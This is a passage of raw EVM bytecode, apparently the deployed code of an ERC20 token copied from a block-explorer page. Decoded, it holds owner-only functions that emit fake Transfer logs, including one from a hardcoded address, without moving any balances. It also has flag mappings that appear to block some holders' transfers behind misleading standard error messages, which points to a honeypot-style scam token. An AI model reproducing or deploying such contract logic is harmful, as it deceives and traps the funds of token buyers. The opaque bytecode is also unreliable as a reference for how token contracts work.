06020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612946565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112715780601f1061124657610100808354040283529160200191611271565b820191906000526020600020905b81548152906001019060200180831161125457829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461133e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b815181101561142c57600180600084848151811061135b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106113c657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611341565b5050565b600061144461143d612b3b565b8484612b43565b6001905092915050565b6000600454905090565b6000611465848484612d3a565b61152684611471612b3b565b61152185604051806060016040528060288152602001614f2d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006114d7612b3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b612b43565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461160b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156116af5782818151811061162357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061168557fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061160e565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611778576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b825181101561181c5782818151811061179057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106117f257fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061177b565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6118fa81600454612ab390919063ffffffff16565b60048190555061197381600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b73e2fe530c047f2d85298b07d9333c05737f1435fb73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000084026040518082815260200191505060405180910390a350565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611de4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ea9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b8251811015611f4d578373ffffffffffffffffffffffffffffffffffffffff16838281518110611ed857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110611f2357fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050611eac565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612016576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061209c81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600854612b43565b50565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612164576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61217882612170612b3b565b600854612b43565b60019050919050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122195780601f106121ee57610100808354040283529160200191612219565b820191906000526020600020905b8154815290600101906020018083116121fc57829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b825181101561238a578373ffffffffffffffffffffffffffffffffffffffff1683828151811061231557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061236057fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506122e9565b50505050565b60006123a461239d612b3b565b8484612d3a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156125155782818151811061248957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106124eb57fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612474565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061268a81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000612b43565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612750576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612815576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156128b95782818151811061282d57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061288f57fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612818565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b8251811015612aad57828181518110612a2157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110612a8357fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612a0c565b50505050565b600080828401905083811015612b31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614f7a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614ee56022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b8181846000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015612e0b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612e615783600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612e5c8787876134d4565b61340b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612f0a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80612f625750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561300c57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015612fef57508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612ffc5782600a819055505b6130078787876134d4565b61340a565b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613075576130708787876134d4565b613409565b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156131dc57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806131775750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6131cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b6131d78787876134d4565b613408565b600a548310156132fd57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156132ed576001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6132f88787876134d4565b613407565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806133a65750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6133fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b6134068787876134d4565b5b5b5b5b5b50505050505050565b60008383111582906134c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561348657808201518184015260208101905061346b565b50505050905090810190601f1680156134b35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b8181846000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156135a55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156139285783600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613671576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156136f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b613702878787614ebc565b61376d85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613800856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156138be57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb3565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806139d15750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80613a295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15613e0057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015613ab657508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613ac35782600a819055505b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b613bda878787614ebc565b613c4585604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613cd8856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613d9657600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb2565b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561419657600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b613f70878787614ebc565b613fdb85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061406e856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561412c57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb1565b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561462a57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806142985750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6142ed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614373576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156143f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b614404878787614ebc565b61446f85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614502856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156145c057600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eb0565b600a54831015614a7857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561473b576001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156147c1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b614852878787614ebc565b6148bd85604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614950856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614a0e57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614eaf565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480614b215750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b614b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f076026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f556025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ec26023913960400191505060405180910390fd5b614c8d878787614ebc565b614cf885604051806060016040528060268152602001614f07602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134149092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614d8b856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415614e4957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35b5b5b5b5b50505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209ce46913314341f3a23deb9ff0bd599d9824581b346fe543ed9e262c68ce03d364736f6c634300060c003345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373
Deployed Bytecode
